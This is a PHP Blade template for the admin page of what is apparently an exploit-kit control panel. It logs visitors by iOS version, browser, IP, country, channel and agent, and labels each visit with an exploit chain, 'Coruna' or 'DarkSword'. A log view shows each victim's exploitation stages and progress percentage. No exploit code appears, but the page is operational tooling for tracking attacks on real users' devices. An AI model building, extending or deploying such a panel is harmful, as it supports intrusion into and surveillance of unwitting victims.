174 lines
6.6 KiB
PHP
174 lines
6.6 KiB
PHP
@extends('admin.content')
|
|
|
|
@section('title', '访问记录')
|
|
|
|
@section('content')
|
|
@php $portal = $portal ?? 'admin'; @endphp
|
|
<div class="layui-card">
|
|
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-visit-search">
|
|
<div class="layui-form-item">
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">时间</label>
|
|
<div class="layui-input-block">
|
|
<select name="range">
|
|
<option value="30d" selected>近30天</option>
|
|
<option value="7d">近7天</option>
|
|
<option value="yesterday">昨日</option>
|
|
<option value="today">今日</option>
|
|
</select>
|
|
</div>
|
|
</div>
|
|
@include('admin.partials.filter_channel_select')
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">利用链</label>
|
|
<div class="layui-input-block">
|
|
<select name="chain">
|
|
<option value="all" selected>全部</option>
|
|
<option value="coruna">Coruna</option>
|
|
<option value="darksword">DarkSword</option>
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">系统</label>
|
|
<div class="layui-input-block">
|
|
<input type="text" name="os" class="layui-input" placeholder="如 iOS" autocomplete="off">
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">系统版本</label>
|
|
<div class="layui-input-block">
|
|
<input type="text" name="os_version" class="layui-input" placeholder="如 16.6" autocomplete="off">
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">浏览器</label>
|
|
<div class="layui-input-block">
|
|
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">国家</label>
|
|
<div class="layui-input-block" style="min-width: 180px;">
|
|
<select name="country" lay-search>
|
|
<option value="">全部</option>
|
|
@foreach ($countries as $code => $name)
|
|
<option value="{{ $code }}">{{ $name }} ({{ $code }})</option>
|
|
@endforeach
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">Referer</label>
|
|
<div class="layui-input-block">
|
|
<input type="text" name="referer" class="layui-input" placeholder="来源" autocomplete="off">
|
|
</div>
|
|
</div>
|
|
@include('admin.partials.filter_agent_select')
|
|
<div class="layui-inline">
|
|
<button class="layui-btn" lay-submit lay-filter="LAY-visit-search">搜索</button>
|
|
</div>
|
|
</div>
|
|
</form>
|
|
<div class="layui-card-body">
|
|
<table id="LAY-visit-list" lay-filter="LAY-visit-list"></table>
|
|
</div>
|
|
</div>
|
|
@endsection
|
|
|
|
@push('scripts')
|
|
<script>
|
|
layui.use(['table', 'form', 'layer'], function () {
|
|
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
|
var where = { range: '30d' };
|
|
var logsUrl = @json(route($portal.'.visits.logs'));
|
|
|
|
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
|
|
|
function esc(s) {
|
|
return String(s == null ? '' : s)
|
|
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
|
}
|
|
|
|
table.render({
|
|
elem: '#LAY-visit-list',
|
|
id: 'LAY-visit-list',
|
|
url: @json(route($portal.'.visits.data')),
|
|
where: where,
|
|
cols: [[
|
|
{ field: 'id', title: 'ID', width: 70, sort: true },
|
|
{ field: 'channel_id', title: '渠道', width: 90 },
|
|
{ field: 'chain_label', title: '利用链', width: 110, templet: function (d) {
|
|
var ds = Number(d.chain) === 1;
|
|
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
|
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
|
} },
|
|
{ field: 'client_uid', title: '访客 UID', width: 150 },
|
|
{ field: 'os', title: '系统', width: 80 },
|
|
{ field: 'os_version', title: '系统版本', width: 90 },
|
|
{ field: 'browser', title: '浏览器', width: 90 },
|
|
{ field: 'ip', title: 'IP', width: 140 },
|
|
{ field: 'country_label', title: '国家', width: 90, templet: function (d) {
|
|
return d.country_label || d.country || '—';
|
|
} },
|
|
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
|
{ field: 'referer', title: 'Referer', minWidth: 180 },
|
|
{ field: 'user_agent', title: 'UA', minWidth: 200 },
|
|
{ field: 'created_at', title: '时间', width: 170, sort: true, fixed: 'right' },
|
|
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
|
|
if (Number(d.chain) !== 1) return '—';
|
|
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';
|
|
} }
|
|
]],
|
|
page: true, limit: 20, limits: [10, 20, 30, 50],
|
|
request: { pageName: 'page', limitName: 'limit' },
|
|
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
|
});
|
|
|
|
table.on('tool(LAY-visit-list)', function (obj) {
|
|
if (obj.event !== 'chain-log') return;
|
|
var uid = obj.data.client_uid || '';
|
|
var loading = layer.load(1, { shade: 0.2 });
|
|
$.getJSON(logsUrl, Object.assign({}, where, { client_uid: uid }), function (res) {
|
|
layer.close(loading);
|
|
var rows = (res && res.data) || [];
|
|
var html = '<div style="padding:16px;">';
|
|
if (!rows.length) {
|
|
html += '<div style="color:#94a3b8;">暂无利用阶段记录</div>';
|
|
} else {
|
|
html += '<table class="layui-table" lay-size="sm"><thead><tr>' +
|
|
'<th>时间</th><th>阶段</th><th>进度</th><th>说明</th></tr></thead><tbody>';
|
|
rows.forEach(function (r) {
|
|
html += '<tr><td>' + esc(r.created_at) + '</td><td>' + esc(r.stage_label) +
|
|
'</td><td>' + esc(r.progress) + '%</td><td>' + esc(r.label) + '</td></tr>';
|
|
});
|
|
html += '</tbody></table>';
|
|
}
|
|
html += '</div>';
|
|
layer.open({
|
|
type: 1,
|
|
title: '利用日志 — ' + uid,
|
|
area: ['720px', '480px'],
|
|
content: html
|
|
});
|
|
}).fail(function () {
|
|
layer.close(loading);
|
|
layer.msg('加载失败');
|
|
});
|
|
});
|
|
|
|
form.on('submit(LAY-visit-search)', function (data) {
|
|
var field = data.field || {};
|
|
if (!field.chain || field.chain === 'all') {
|
|
delete field.chain;
|
|
}
|
|
where = field;
|
|
table.reload('LAY-visit-list', { where: where, page: { curr: 1 } });
|
|
return false;
|
|
});
|
|
|
|
form.render();
|
|
});
|
|
</script>
|
|
@endpush
|